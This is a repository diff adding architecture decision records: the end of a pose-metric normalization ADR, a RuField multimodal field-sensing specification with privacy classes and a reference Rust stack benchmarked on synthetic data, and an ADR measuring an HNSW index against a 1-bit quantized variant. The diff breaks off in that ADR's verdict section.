+| **three_normalizations (KEY PROOF)** | identical pred; nose err .06, shoulder .10, hips exact | torso=**0.50**, bbox=**1.00**, abs(.08)=**0.75** |
+| mpjpe_2d / mpjpe_3d | (3,4)→5 / (1,2,2)→3 | 2.5 / 3.0 |
+| mpjpe_excludes_invisible | invisible joint err 100 ignored | 5.0 |
+| zero_torso_unscoreable | coincident hips | `(0,0,0.0)`, **not** false-perfect |
+| no_visible_keypoints | vis=∅ | `(0,0,0.0)` |
+| nan_coords | one NaN pred coord | counted wrong, **no panic** |
+| empty report | no frames | 0.0, **not** NaN |
+| bbox≥torso ordering | same frames | bbox-PCK ≥ torso-PCK |
+
+### The key proof (the ambiguity is real and quantified)
+
+Identical predictions, three declared normalizations → **0.50 / 1.00 / 0.75**.
+Mechanism: the bbox diagonal `√(0.20² + 0.80²) = 0.825` is ~4× the hip-span torso
+`0.20`, so τ@20 is 0.165 (bbox) vs 0.040 (torso) — the looser image-normalized
+convention passes joints the strict torso convention rejects. This is *exactly*
+why 96% / 81.6% / 61% cannot be lined up without declaring the enum, demonstrated
+in-code.
+
+## Validation
+
+- `cargo test -p wifi-densepose-train --no-default-features` → lib **191 → 206**
+  (+15), `test_metrics` **12 → 14** (+2), doc-tests 8 — **0 failed**.
+- `cargo test --workspace --no-default-features` → **exit 0**, 0 failed.
+- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
+  `f8e76f21a0f9852b70b6d9dd5318239f6b20cbcb4cdd995863263cecdc446f7a` **unchanged**
+  (off the signal proof path — confirms no pipeline alteration).
+
+## Consequences
+
+### Positive
+- The three historical PCK numbers can now be **recomputed under one declared
+  definition** and compared honestly. The retracted-number class of error
+  (silent normalization mismatch) is structurally prevented going forward.
+- Establishes the measurement substrate for the beyond-SOTA target: GraphPose-Fi
+  cross-environment **PCK@20 = 12.9%** (standard torso PCK) is now a number this
+  harness can produce comparably.
+
+### Negative
+- None functional. The harness is additive; no existing metric path changed.
+
+### Neutral
+- Producing actual model numbers under this harness requires the trained models +
+  datasets (MM-Fi) and, for cross-domain splits, is the next sub-deliverable of
+  the benchmark/optimization milestone — out of scope here (this ADR is the
+  *instrument*, not the *reading*).
+
+## Links
+- ADR-155 — metric core (`pck_canonical`, torso-only) — generalized here
+- ADR-152 — WiFi-Pose SOTA 2026 intake / WiFlow-STD benchmark
+- `docs/research/sota-nn-train-benchmark-brief.md` — the motivating gap analysis
+- GraphPose-Fi — arXiv 2511.19105 (verified cross-env PCK@20 = 12.9% anchor)

docs/adr/ADR-260-rufield-mfs.md

@@ -0,0 +1,390 @@
+# ADR 260: RuField Multimodal Field Sensing Specification
+
+Status: Accepted — v0.1 reference stack
+
+Date: 2026 06 14
+
+Deciders: rUv
+
+Tags: sensing, rf, csi, cir, bfld, radar, ultrasonic, infrared, quantum sensing, privacy, provenance, ruvector, ruview
+
+## 1. Context
+
+RuView proved that commodity wireless signals can be used as a practical sensing substrate. The next opportunity is larger: define a common specification for multimodal ambient sensing across RF, ultrasonic, subsonic, infrared, radar, and future quantum sensors.
+
+Existing standards are valuable but fragmented.
+
+IEEE 802.11bf 2025 standardizes WLAN sensing at the WiFi MAC and PHY layers and was published on September 26, 2025. It is important, but it is WiFi specific.
+
+Bluetooth Channel Sounding standardizes techniques for obtaining phase and time delay information, but Bluetooth SIG explicitly does not define the distance algorithm. That leaves application level interpretation open.
+
+IEEE 802.15.4z HRP UWB supports secure ranging using scrambled timestamp sequence waveforms, but UWB remains one modality rather than a universal sensing grammar.
+
+Matter is a useful smart home interoperability protocol, but it is a device connectivity layer, not a multimodal field sensing specification.
+
+The gap is clear: there is no open specification that normalizes sensor observations across CSI, CIR, BFLD, radar, ultrasound, subsonic vibration, thermal infrared, and quantum field sensing into one privacy aware, provenance rich, fusion ready event model.
+
+## 2. Decision
+
+Create **RuField MFS**, the RuField Multimodal Field Sensing Specification.
+
+RuField MFS will define a common event, tensor, calibration, confidence, privacy, and provenance model for ambient field sensing.
+
+It will not replace IEEE 802.11bf, Bluetooth Channel Sounding, UWB, Matter, radar protocols, or device vendor APIs.
+
+It will sit above them.
+
+```text
+WiFi CSI
+WiFi CIR
+WiFi BFLD
+UWB
+Bluetooth Channel Sounding
+mmWave radar
+Ultrasonic
+Subsonic
+Infrared
+Quantum magnetic sensing
+Quantum inertial sensing
+
+all emit
+
+RuField Field Event
+RuField Field Tensor
+RuField Fusion Graph
+RuField Privacy Class
+RuField Provenance Receipt
+```
+
+## 3. Name
+
+Preferred name: `RuField MFS`
+
+Full name: `RuField Multimodal Field Sensing Specification`
+
+Public positioning: `The open specification for camera free field intelligence.`
+
+## 4. Problem Statement
+
+Modern sensing systems are locked into modality specific silos: CSI systems produce channel matrices; radar produces range Doppler bins; UWB produces range and time of flight; Bluetooth Channel Sounding produces phase and timing primitives; infrared produces thermal arrays; ultrasonic produces acoustic echoes; subsonic produces structural vibration signatures; quantum sensors produce magnetic, inertial, or optical field traces.
+
+Each has different sampling, calibration, confidence, privacy, and provenance semantics. This prevents reliable fusion and makes governance weak because raw sensing, derived sensing, biometric inference, and anonymous occupancy are often mixed without explicit boundaries.
+
+## 5. Goals
+
+1. Define a common multimodal sensing event format.
+2. Define a field tensor format spanning time, frequency, phase, amplitude, range, velocity, angle, temperature, vibration, and uncertainty.
+3. Define a modality registry for RF, acoustic, infrared, radar, and quantum sensing.
+4. Define privacy classes for raw waveforms, derived features, occupancy, anonymized aggregate state, and biometric inference.
+5. Define calibration receipts and provenance hashes.
+6. Define fusion rules for multimodal inference.
+7. Provide a Rust reference implementation.
+8. Provide benchmark tasks for camera free room intelligence.
+9. Make RuView one adapter inside a larger open sensing architecture.
+
+## 6. Non Goals
+
+1. Do not define a new wireless PHY.
+2. Do not replace IEEE 802.11bf.
+3. Do not replace Bluetooth Channel Sounding.
+4. Do not replace UWB secure ranging.
+5. Do not define medical diagnosis.
+6. Do not transmit speech, images, or raw biometric identity by default.
+7. Do not require cloud inference.
+8. Do not require expensive hardware.
+
+## 7. Core Abstraction — the Field Event
+
+A Field Event is a timestamped observation from any ambient field sensor.
+
+```json
+{
+  "spec": "rufield.mfs.v0.1",
+  "event_id": "01J00000000000000000000000",
+  "timestamp_ns": 1791986400000000000,
+  "sensor": {
+    "modality": "wifi_csi",
+    "vendor": "esp32_c6",
+    "device_id": "sensor_room_01",
+    "placement": "ceiling_corner",
+    "clock_domain": "local_ptp"
+  },
+  "field": {
+    "carrier_hz": 5805000000,
+    "bandwidth_hz": 80000000,
+    "sample_rate_hz": 100,
+    "channels": 234,
+    "features": ["amplitude", "phase", "doppler", "range_proxy"]
+  },
+  "observation": {
+    "space_cell": [4, 2, 1],
+    "range_m": 3.42,
+    "velocity_mps": 0.18,
+    "motion_vector": [0.12, -0.03, 0.00],
+    "confidence": 0.87,
+    "privacy_class": "P2"
+  },
+  "provenance": {
+    "raw_hash": "sha256:raw_measurement_hash",
+    "firmware_hash": "sha256:firmware_hash",
+    "model_id": "ruvector_field_encoder_v1",
+    "calibration_id": "room_cal_2026_06_14"
+  }
+}
+```
+
+## 8. Modality Registry
+
+| Code | Modality             | Example source                          |
+| ---: | -------------------- | --------------------------------------- |
+|    1 | wifi_csi             | ESP32 C6, Intel BE200, AP CSI           |
+|    2 | wifi_cir             | channel impulse response                |
+|    3 | wifi_bfld            | beamforming feedback                    |
+|    4 | uwb_hrp              | IEEE 802.15.4z ranging                  |
+|    5 | ble_channel_sounding | phase and timing primitives             |
+|    6 | mmwave_radar         | range Doppler radar                     |
+|    7 | ultrasonic           | echo and time of flight                 |
+|    8 | subsonic             | structural vibration and room resonance |
+|    9 | infrared_thermal     | thermal array or passive IR             |
+|   10 | active_infrared      | reflected IR                            |
+|   11 | lidar_phase          | phase based optical range               |
+|   12 | quantum_magnetic     | NV diamond or OPM field trace           |
+|   13 | quantum_inertial     | atom interferometer or precision IMU    |
+|   14 | event_camera         | optional visual event stream            |
+|   15 | synthetic_sim        | simulator or replay source              |
+
+## 9. Field Tensor
+
+The normalized numeric container (`Modality`, `FieldAxis`, `FieldTensor`) as specified in the implementation crate `rufield-core`.
+
+## 10. Privacy Classes
+
+| Class | Description                      | Example                         |
+| ----- | -------------------------------- | ------------------------------- |
+| P0    | Raw waveform or raw sensor frame | raw CSI, raw radar cube         |
+| P1    | Derived non identity features    | Doppler peak, thermal blob      |
+| P2    | Occupancy and motion only        | person present, bed exit        |
+| P3    | Anonymous aggregate state        | room count, zone activity       |
+| P4    | Biometric or health inference    | breathing, gait, sleep, scratch |
+| P5    | Identity linked inference        | named person state              |
+
+Default system policy: edge storage may retain P0 only temporarily; network transmission defaults to P2 or lower; P4 requires explicit consent; P5 requires explicit identity binding and audit log.
+
+## 11. Provenance Receipt
+
+Every event must be auditable (`ProvenanceReceipt`). Acceptance invariant: **No fused inference is valid unless every contributing event has a provenance receipt or is explicitly marked synthetic.**
+
+## 12. Fusion Graph
+
+Nodes: sensor, event, field_tensor, feature, object, zone, state, inference, receipt.
+Edges: observed_by, derived_from, calibrated_by, supports, contradicts, fused_into, expires_at, requires_consent.
+
+## 13. Fusion Rule Format
+
+Human readable TOML rules (`rule.person_present`, `rule.bed_exit`, `rule.nocturnal_scratch`) with `inputs`, `method`, `threshold`, `privacy_max`, optional `window_ms` and `requires_consent`.
+
+## 14. Reference Architecture
+
+Layer 0 physical sensors; Layer 1 native adapters; Layer 2 field tensor normalization; Layer 3 RuVector field embeddings; Layer 4 fusion graph; Layer 5 policy and privacy guard; Layer 6 application event stream; Layer 7 dashboard, API, MCP, Matter bridge.
+
+## 15. Rust Crate Layout
+
+`rufield-core`, `rufield-schema`, `rufield-adapters`, `rufield-fusion`, `rufield-privacy`, `rufield-provenance`, `rufield-bench`, `rufield-viewer`.
+
+## 16. Core Rust Interfaces
+
+`FieldAdapter`, `FieldEncoder`, `FusionEngine`, `PrivacyGuard` traits as specified in `rufield-core`.
+
+## 17. MVP Adapters
+
+v0.1 must support three real modalities: WiFi CSI, mmWave radar, Infrared thermal. Optional: ultrasonic, subsonic, synthetic simulator.
+
+## 18. Benchmark Suite
+
+| Task                    |   Metric |       Target |
+| ----------------------- | -------: | -----------: |
+| Presence detection      |       F1 |         0.90 |
+| Room transition         |       F1 |         0.85 |
+| Bed exit                |       F1 |         0.90 |
+| Breathing detected      |       F1 |         0.80 |
+| Nocturnal scratch       |       F1 |         0.75 |
+| Fall like event         |   Recall |         0.95 |
+| False alarm rate        | per hour |   below 0.10 |
+| Event latency           |      p95 | below 100 ms |
+| Provenance coverage     |  percent |          100 |
+| Privacy violation count |    count |            0 |
+
+## 19. First Viral Demo
+
+Camera free room intelligence: person enters, sits, breathing detected, sleeps, scratches arm, exits bed, leaves room — no camera, no identity, signed field receipts, live fusion graph, privacy class visible per event.
+
+## 20. Data Model
+
+`FieldEvent { spec_version, event_id, timestamp_ns, sensor, tensor, observation, provenance }` and `Observation { zone_id, space_cell, range_m, velocity_mps, motion_vector, confidence, labels, privacy_class }`.
+
+## 21. Decision Matrix
+
+| Option                                        | Interop | Novelty | Buildability | Business value | Risk | Score |
+| --------------------------------------------- | ------: | ------: | -----------: | -------------: | ---: | ----: |
+| Extend RuView only                            |       2 |       2 |            5 |              3 |    2 |    14 |
+| Build proprietary fusion engine               |       3 |       3 |            4 |              4 |    3 |    17 |
+| Create open RuField spec plus reference stack |       5 |       5 |            4 |              5 |    3 |    22 |
+| Attempt new hardware standard                 |       5 |       5 |            1 |              4 |    5 |    20 |
+
+Decision: **Create open RuField spec plus reference stack.** It maximizes credibility, extensibility, and ecosystem pull while avoiding the impossible burden of defining a new physical layer.
+
+## 22. Security Model
+
+| Threat                              | Impact                          | Mitigation                             |
+| ----------------------------------- | ------------------------------- | -------------------------------------- |
+| Raw waveform leakage                | privacy breach                  | P0 edge only by default                |
+| Biometric inference without consent | legal and trust risk            | P4 consent gate                        |
+| Sensor spoofing                     | false occupancy or safety event | signed sensor receipts                 |
+| Replay attack                       | forged event stream             | nonce plus timestamp plus hash chain   |
+| Model drift                         | wrong inference                 | calibration expiry and benchmark gates |
+| Overfitting to one room             | weak generalization             | room split benchmark                   |
+| Vendor firmware change              | silent degradation              | firmware hash in receipt               |
+
+## 23. Calibration Model
+
+`CalibrationReceipt` is first class. Required calibration tasks: empty room baseline, single person walk path, sit and stand, bed or couch transition, breathing reference, no motion stability period.
+
+## 24. Inference Semantics
+
+Every inference must include: label, confidence, supporting events, contradicting events, privacy class, calibration id, model id, expiry time.
+
+## 25. Consequences
+
+Positive: RuView becomes part of a larger sensing ecosystem; the spec creates a standards-style wedge without waiting for silicon vendors; multimodal fusion becomes portable; privacy and provenance become differentiators; enterprise deployment becomes easier to justify; benchmark receipts reduce skepticism.
+
+Negative: broad scope can dilute execution; hardware variability will be painful; calibration is the hardest practical problem; some will claim existing standards already solve parts of this; medical and biometric use cases require careful governance.
+
+Mitigation: keep v0.1 narrow; ship real adapters; publish benchmark receipts; do not claim medical diagnosis; position RuField above existing standards.
+
+## 26. Implementation Plan
+
+Phase 1 spec skeleton; Phase 2 Rust core; Phase 3 adapters; Phase 4 fusion graph; Phase 5 dashboard; Phase 6 benchmark.
+
+## 27. Acceptance Criteria
+
+v0.1 is accepted when:
+
+1. Three modalities stream into one event graph.
+2. Every event has a privacy class.
+3. Every event has a provenance receipt.
+4. Fusion produces at least five room state inferences.
+5. p95 event pipeline latency is below 100 ms.
+6. Benchmark runner produces deterministic reports.
+7. Raw waveform storage is disabled by default.
+8. P4 inference requires consent policy approval.
+9. Dashboard shows live camera free room intelligence.
+10. Spec is readable enough for external implementers.
+
+## 28. Reference Repository Structure
+
+Crates under `v2/crates/rufield-*` (workspace members), spec under `docs/rufield/`, benches under `rufield-bench`.
+
+## 29. Open Questions
+
+1. JSON Schema first, Protobuf first, or both?
+2. Default transport: MQTT, NATS, WebSocket, or MCP?
+3. Matter integration: bridge or first class target?
+4. P4 health inference disabled by default in public demos?
+5. Benchmark datasets synthetic first, then real world?
+6. Include quantum modality IDs even if adapters are synthetic only?
+
+## 30. Recommendation
+
+Proceed. Publish RuField as an open specification with a working Rust reference stack and a viral camera free room intelligence demo.
+
+## 31. Benchmark Acceptance Test
+
+```text
+Given a room with WiFi CSI, mmWave radar, and thermal IR sensors
+When a person enters, sits, breathes, exits bed, and leaves
+Then RuField emits signed events
+And classifies room state without a camera
+And keeps all default network events at P2 or below
+And produces p95 latency below 100 ms
+And produces a deterministic benchmark report
+```
+
+---
+
+## Implementation Status (v0.1 reference stack)
+
+The v0.1 reference stack is implemented as a **standalone Cargo workspace**
+(`rufield/`, published as `github.com/ruvnet/rufield` and vendored into RuView
+as a submodule — the `vendor/rvcsi` pattern). It is pure Rust, builds and tests
+on Windows with no native deps (`ndarray`/`tch`/`openblas` are not used), and
+depends only on `serde`, `serde_json`, `toml`, `sha2`, and `ed25519-dalek`.
+
+**All metrics below are SYNTHETIC.** They are scored against the simulator's own
+ground-truth labels. They demonstrate the pipeline recovers known truth and runs
+within latency/privacy/provenance budgets — they are **not** field-validated
+accuracy. There is no hardware in v0.1; real adapters (ESP32 CSI, mmWave, thermal
+IR) are a documented follow-up (see the repo README "Firmware" section).
+
+### Crates delivered
+
+| Crate | Implements |
+|-------|-----------|
+| `rufield-core` | §7/§9/§16/§20 data model: `Modality` (15), `FieldAxis`, `FieldTensor` (shape↔values validated), `PrivacyClass` (P0–P5), `SensorDescriptor`, `Observation`, `FieldEvent`, `CalibrationReceipt`, `InferenceQuery`, `FieldInference`, `FieldEmbedding`; `FieldAdapter`/`FieldEncoder`/`FusionEngine`/`PrivacyGuard` traits. §7 JSON example round-trips. |
+| `rufield-provenance` | Real `sha256` content hashing + deterministic `ed25519` sign/verify; §11 `is_fusable` invariant. Tests: tamper → verify fails; synthetic event fusable without signer. |
+| `rufield-privacy` | §10 default policy + `DefaultPrivacyGuard` (`authorize` → Allow/Deny/RequiresConsent). Tests: P0 transmit denied; P4 no-consent → RequiresConsent; P4 consent → Allow; P2 → Allow; P5 needs identity binding. |
+| `rufield-adapters` | Deterministic seeded `SyntheticSim` emitting the §19 sequence across 3 modalities (wifi_csi, mmwave_radar, infrared_thermal). Same seed ⇒ identical signed event stream with ground-truth labels. |
+| `rufield-fusion` | `FusionGraph` (§12) + `RuFieldFusion` engine; TOML rules (§13, ≥5 inferences: person_present, sitting, sleeping, breathing, nocturnal_scratch, bed_exit, room_transition); weighted-Bayes + temporal-window; rejects non-fusable events; `FieldInference` with §24 fields. |
+| `rufield-bench` | Deterministic runner: F1 per task (SYNTHETIC), p95 latency, provenance coverage, privacy violations; JSON + human table; §31 acceptance test as `#[test]`. |
+
+Total test count across the workspace: **60 tests, 0 failed**.
+`cargo clippy --workspace` is clean.
+
+### §27 acceptance-criteria scorecard
+
+| # | Criterion | Status |
+|---|-----------|--------|
+| 1 | Three modalities stream into one event graph | **PASS** — wifi_csi, mmwave_radar, infrared_thermal |
+| 2 | Every event has a privacy class | **PASS** — `Observation.privacy_class` (non-optional), default ≤ P2 |
+| 3 | Every event has a provenance receipt | **PASS** — every event is ed25519-signed and verifies; coverage 100% |
+| 4 | Fusion produces ≥ 5 room-state inferences | **PASS** — 7 distinct inferences produced |
+| 5 | p95 event pipeline latency < 100 ms | **PASS** — p95 ≈ 0.01 ms (in-process) |
+| 6 | Benchmark runner produces deterministic reports | **PASS** — identical report across runs (latency is the only wall-clock field) |
+| 7 | Raw waveform storage disabled by default | **PASS** — P0 network transmission denied by default policy |
+| 8 | P4 inference requires consent policy approval | **PASS** — P4 without consent → RequiresConsent; breathing/scratch rules carry `requires_consent = true` |
+| 9 | Dashboard shows live camera-free room intelligence | **PASS** — `rufield-viewer` (Axum + vanilla JS) streams the deterministic SyntheticSim→fusion demo: live room state, privacy-badged (P0–P5) event log, fusion graph, click-to-open signed-receipt modal, behind a permanent `SYNTHETIC — simulated sensors, no hardware` banner. `cargo run -p rufield-viewer`. Read-only demo viewer (not a device-management console — that's the real-adapter milestone). |
+| 10 | Spec readable for external implementers | **PASS** — ADR-260 + detailed standalone README with compiling usage examples |
+
+**Decision:** **all §27 criteria 1–10 PASS** (criterion 9, the live dashboard,
+was completed by `rufield-viewer`). Status is **Accepted — v0.1 reference stack**.
+
+### Deterministic benchmark report (SYNTHETIC, seed = 2026)
+
+```text
+TASK (SYNTHETIC)       METRIC      VALUE     TARGET    MEETS
+presence                   f1      1.000      0.900      yes
+breathing                  f1      1.000      0.800      yes
+nocturnal_scratch          f1      0.923      0.750      yes
+bed_exit                   f1      1.000      0.900      yes
+room_transition            f1      1.000      0.850      yes
+-----------------------------------------------------------------------------------
+p50 latency:          0.0097 ms
+p95 latency:          0.0123 ms   (target < 100 ms: PASS)
+provenance coverage:  100.0 %      (target 100%: PASS)
+privacy violations:   0          (target 0: PASS)
+events=216  modalities=3  distinct_inferences=7
+```
+
+All five scored §18 tasks meet their F1 targets **on synthetic ground truth**.
+`nocturnal_scratch` is 0.923 (one borderline noise tick at this seed) — reported
+honestly rather than tuned to 1.0. The fall-like / false-alarm-rate §18 rows are
+not scored in v0.1 (no fall is in the demo sequence) and are a follow-up. These
+numbers prove the fusion pipeline scores correctly against known truth; they say
+**nothing** about real-world accuracy, which requires the hardware adapters that
+v0.1 deliberately does not ship.
+
+### Honest statement
+
+Every metric here is simulator-based. No ESP32 CSI, mmWave, or thermal capture
+was used. RuField v0.1 is a working, honestly-measured reference pipeline —
+data model, provenance, privacy, fusion, and a deterministic benchmark — pending
+real hardware adapters.

docs/adr/ADR-261-ruvector-graph-ann-index.md

@@ -0,0 +1,200 @@
+# ADR-261: RuVector Graph-ANN Index — a real HNSW baseline + a SymphonyQG-style quantized variant, MEASURED
+
+| Field | Value |
+|-------|-------|
+| **Status** | Accepted |
+| **Date** | 2026-06-14 |
+| **Deciders** | ruv |
+| **Codebase target** | `wifi-densepose-ruvector` — `hnsw.rs`, `hnsw_quantized.rs`, `ann_measure.rs`, `benches/ann_bench.rs`, docs |
+| **Relates to** | ADR-084 (RaBitQ similarity sensor — 1-bit sketch), ADR-156 (RuVector beyond-SOTA sweep — §5 #1 SymphonyQG, §8/§10/§11 RaBitQ Pass-2/multi-bit/estimator), ADR-024 (AETHER re-ID), ADR-016/017 (RuVector integration) |
+| **Scope** | Build the **missing HNSW graph-ANN baseline** in the ruvector retrieval path, build a **SymphonyQG-style quantized-traversal variant** on the same graph, and **MEASURE** the real recall/QPS ratio between them — closing the ADR-156 §5 #1 gap honestly. Resolves ADR-156 §8 backlog item **"SymphonyQG reproduction"** from **CLAIMED-only** to **MEASURED-direction-tested**. |
+
+---
+
+## 0. PROOF discipline (this ADR's contract)
+
+This project has been publicly accused of "AI slop." This ADR answers with **evidence, not adjectives** — the same contract as ADR-154/156:
+
+- The HNSW index ships a **committed recall@10 correctness gate** (≥ 0.95 vs brute force on a planted-cluster fixture). Low recall means a graph bug; the gate is wired to fail in that case. It **did** fail first — and caught a real index-out-of-bounds bug in the insert path (§4) — which is exactly what a real gate is for.
+- Every QPS/recall number below is **MEASURED** on this box with a committed, deterministic, `--no-default-features`-runnable measurement (`src/ann_measure.rs`, `ann_bench_report`) and a committed criterion bench (`benches/ann_bench.rs`). Both call **one** shared fixture/measurement module, so the bench and the report can never measure different graphs.
+- The **headline result is an honest negative**: at our test scale the SymphonyQG-style quantized variant **does not beat float HNSW at equal recall** — the 1-bit Hamming traversal is too coarse to keep recall up. We report the real numbers, explain *why*, and state the expected large-N crossover. **We did not tune the quantized path to manufacture the 3.5–17× the source claims.** A measured negative + a scale caveat is a valid, publishable result.
+- We are explicit that this is **OUR HNSW + OUR 1-bit quantization, not SymphonyQG's exact system**. It tests the **direction** of the claim on our hardware/data, not a 1:1 reproduction.
+
+Test machine: Windows 11, `cargo test --release`, `std::time::Instant` wall-clock. Numbers are warm medians on this box; the **ratio** is the claim, not the absolute QPS.
+
+Reproduce:
+```bash
+cd v2 && cargo test -p wifi-densepose-ruvector --no-default-features --release \
+  ann_bench_report -- --nocapture
+# Larger N: ANN_BENCH_N=50000 cargo test ... --release ann_bench_report -- --nocapture
+cargo bench -p wifi-densepose-ruvector --bench ann_bench
+```
+
+---
+
+## 1. Context
+
+The ruvector crate's retrieval path — AETHER re-ID hot-cache (ADR-024), the `sketch.rs` 1-bit prefilter (ADR-084), room fingerprinting — is, at its core, an **approximate nearest-neighbour (ANN)** problem: dense float embedding in, top-K similar ids out. But **the crate had no graph index**. Every `topk` was either a linear scan (`O(N·d)` per query) or a 1-bit Hamming prefilter over a linear scan. That is `O(N)` per query and does not scale.
+
+[ADR-156 §5 #1](ADR-156-ruvector-fusion-beyond-sota.md) graded **SymphonyQG** (SIGMOD 2025) the **lead beyond-SOTA ANN candidate**, citing the source's claim of **3.5–17× QPS over HNSW at equal recall**, but marked it **CLAIMED**:
+
+> *"author-measured; **not reproduced on our hardware** — reproduction is future work."*
+
+And ADR-156 §8 was blunt about *why* it could not be reproduced: **there was no HNSW baseline to compare against.** You cannot measure a ratio against a baseline that does not exist. This ADR builds that missing baseline, builds the quantized variant that tests the direction of the SymphonyQG bet, and measures the real ratio.
+
+---
+
+## 2. Decision
+
+1. Add a correct, dependency-free **float HNSW** graph index (`hnsw.rs`): the real Malkov & Yashunin (TPAMI 2018) algorithm — multi-layer navigable small-world graph, `ef_construction` / `ef_search`, the Algorithm-4 neighbour-selection heuristic, seeded-deterministic level assignment, L2 + cosine. This is the **baseline** ADR-156 said was missing.
+2. Add a **SymphonyQG-style quantized-traversal variant** (`hnsw_quantized.rs`): the *same* graph (same seed, same structure), but the beam search scores candidates with a **cheap 1-bit Hamming distance** over the RaBitQ Pass-2 rotated sign code (reusing `rotation.rs` + the sign-quantization of `sketch.rs`), then **exact-float reranks** the final candidate set. This is the SymphonyQG bet — cheaper per-node scoring, recovered by a final exact rerank.
+3. **Measure** linear vs float-HNSW vs quantized-HNSW (recall@10, QPS, equal-recall ratios) on one deterministic planted-cluster fixture, and record the honest verdict against the SymphonyQG 3.5–17× claim.
+
+### Why 1-bit Hamming for the quantized traversal
+
+The crate already had the exact pieces SymphonyQG fuses: a deterministic orthogonal rotation (`rotation.rs`, RaBitQ Pass-2) and sign-quantization (`sketch.rs`). A 1-bit code compares by POPCNT Hamming — a few machine words, no per-dimension float work — so it is the cheapest possible traversal score and the most direct test of "can a quantized score keep the beam on the right path." The cost (measured below): the 1-bit code is a *coarse* angle proxy (ADR-156 §10 measured ~46% strict-K coverage for sign-only), and that coarseness is what limits recall here.
+
+---
+
+## 3. Design
+
+### 3.1 `hnsw.rs` — float HNSW (the baseline)
+
+- **Graph.** `links[id][layer]` adjacency; layer 0 holds every node, higher layers exponentially sparser. `m_max` is `2·M` on layer 0, `M` above (the paper's asymmetric degree cap).
+- **Insert.** Greedy-descend the upper layers to a good entry point, then for each layer from the node's level down to 0: `search_layer` for `ef_construction` candidates, `select_neighbours` (Algorithm 4 — keep a candidate only if it is closer to the new node than to any already-selected neighbour, giving diverse navigable edges), wire bidirectional edges, re-prune any neighbour that overflows `m_max`. The node is pushed into the arrays **before** wiring so every `links[*]` index is valid mid-insert (§4 — the bug the gate caught).
+- **Search.** Greedy-descend layers `>0`, then best-first beam search of width `ef` on layer 0; return the closest `k`. Iterative (explicit heaps + visited set) — **no recursion**, bounded by the beam and the visited set.
+- **Determinism.** Level assignment is the only randomness and is driven by a **seeded SplitMix64** (the exact pattern from `rotation.rs`) — never `Date::now`/OS RNG/unseeded `rand`. Same `(seed, params, insertion order)` ⇒ bit-identical graph and search (pinned by `hnsw_is_deterministic_for_seed`).
+- **Robustness.** Empty index, `k==0`, `k>n`, single node, zero-dim, ragged query, `ef<k` all return cleanly — pinned by `*_no_panic` tests.
+
+### 3.2 `hnsw_quantized.rs` — the SymphonyQG-style variant
+
+Same graph as the float index (identical seed/structure — the **only** variable is the scoring), plus a per-node `ceil(D/8)`-byte 1-bit Pass-2 sign code (`D = next_pow2(dim)`). `search_quantized(query, k, ef, rerank)`:
+1. Encode the query to its 1-bit code (one rotation + sign pack).
+2. Greedy-descend + beam-search the graph scoring every visited node by **POPCNT Hamming** (query-code XOR node-code) — no per-dim float work.
+3. **Exact-float rerank** the top `rerank` Hamming candidates with the true L2/cosine metric, return the best `k`.
+
+### 3.3 Security / robustness
+
+Both indices: bounded **iterative** traversal (no unbounded recursion), no panic on empty/degenerate/ragged/zero-dim input (the metric compares over the shorter prefix; zero-norm cosine returns max distance, not NaN). The 1-bit encode handles padded dims via the existing `Rotation::apply_padded`.
+
+---
+
+## 4. The bug the correctness gate caught (disclosed, not hidden)
+
+The first run of the recall@10 gate **panicked**: `index out of bounds: the len is 33 but the index is 33` in `search_layer`. Root cause: `insert` wired bidirectional edges (`links[nbr][l].push(id)`) **before** pushing the new node's own `links[id]` row into the array. A later traversal step in the *same* insert could hop to a neighbour that now pointed at `id` and read `links[id]` — which did not exist yet. Fix: push the node (with empty per-layer link lists) into `vectors`/`links`/`levels` **up front**, then wire edges into its existing slot. The new node has no incoming edges and empty outgoing lists until wiring, so it is unreachable by the searches that run first — pushing early is safe and keeps every index valid. This is exactly why the recall gate exists: a silent low-recall graph and an out-of-bounds panic are both "slop" the gate forces into the open.
+
+---
+
+## 5. The SymphonyQG claim being tested
+
+| Source | Claim | Grade (before this ADR) |
+|--------|-------|-------------------------|
+| SymphonyQG, SIGMOD 2025 | **3.5–17× QPS over HNSW at equal recall**, via quantization unified with graph traversal, pure-CPU/edge-portable | **CLAIMED** — author-measured, *not reproduced on our hardware (no HNSW baseline existed)* |
+
+The bet: a quantized traversal score is cheap enough — and accurate enough to keep the beam on-path — that you pay far less per visited node and recover the small recall loss with a final exact rerank.
+
+---
+
+## 6. MEASURED results
+
+Fixture: planted-cluster synthetic, **dim=128, N=10,000, 64 clusters, 200 queries, K=10, noise=0.35**, L2 metric, `M=16`, `ef_construction=200`. Graph seed `0x6261524741484E53`, rotation seed `0x5EEDC0DE12345678`. `--release`, warm wall-clock on the test machine. (The fixture and both indices are shared by the criterion bench.)
+
+| Method | recall@10 | QPS | latency (µs) |
+|--------|-----------|-----|--------------|
+| **linear scan (brute force)** | 1.0000 | 1,022 | 978 |
+| **float-HNSW** ef=16 | 0.9945 | **25,744** | 39 |
+| float-HNSW ef=32 | 0.9990 | 21,470 | 47 |
+| float-HNSW ef=64 | 1.0000 | 18,779 | 53 |
+| float-HNSW ef=128 | 1.0000 | 12,722 | 79 |
+| float-HNSW ef=256 | 1.0000 | 5,742 | 174 |
+| quant-HNSW ef=32 rr=20 | 0.1620 | 30,005 | 33 |
+| quant-HNSW ef=32 rr=100 | 0.2615 | 36,388 | 28 |
+| quant-HNSW ef=64 rr=100 | 0.4865 | 20,603 | 49 |
+| quant-HNSW ef=128 rr=100 | 0.6785 | 13,718 | 73 |
+| quant-HNSW ef=256 rr=100 | **0.7380** | 6,578 | 152 |
+
+### Equal-recall QPS ratios
+
+| Target recall | Fastest float-HNSW | Fastest quant-HNSW meeting it | quant/float | float/linear |
+|---------------|--------------------|-------------------------------|-------------|--------------|
+| ≥ 0.90 | ef=16 → 25,744 QPS | **none** (best quant recall = 0.738) | — | **25.19×** |
+| ≥ 0.95 | ef=16 → 25,744 QPS | **none** | — | **25.19×** |
+| ≥ 0.99 | ef=16 → 25,744 QPS | **none** | — | **25.19×** |
+
+---
+
+## 7. Honest verdict
+
+**The HNSW baseline is a decisive win over linear scan: ~25× QPS at recall ≥ 0.99** (ef=16: 0.9945 recall, 25,744 QPS vs linear 1,022 QPS). The correctness gate (recall@10 ≥ 0.95 vs brute force, both L2 and cosine) holds. This is the baseline ADR-156 §5 #1 said did not exist — it now does.
+
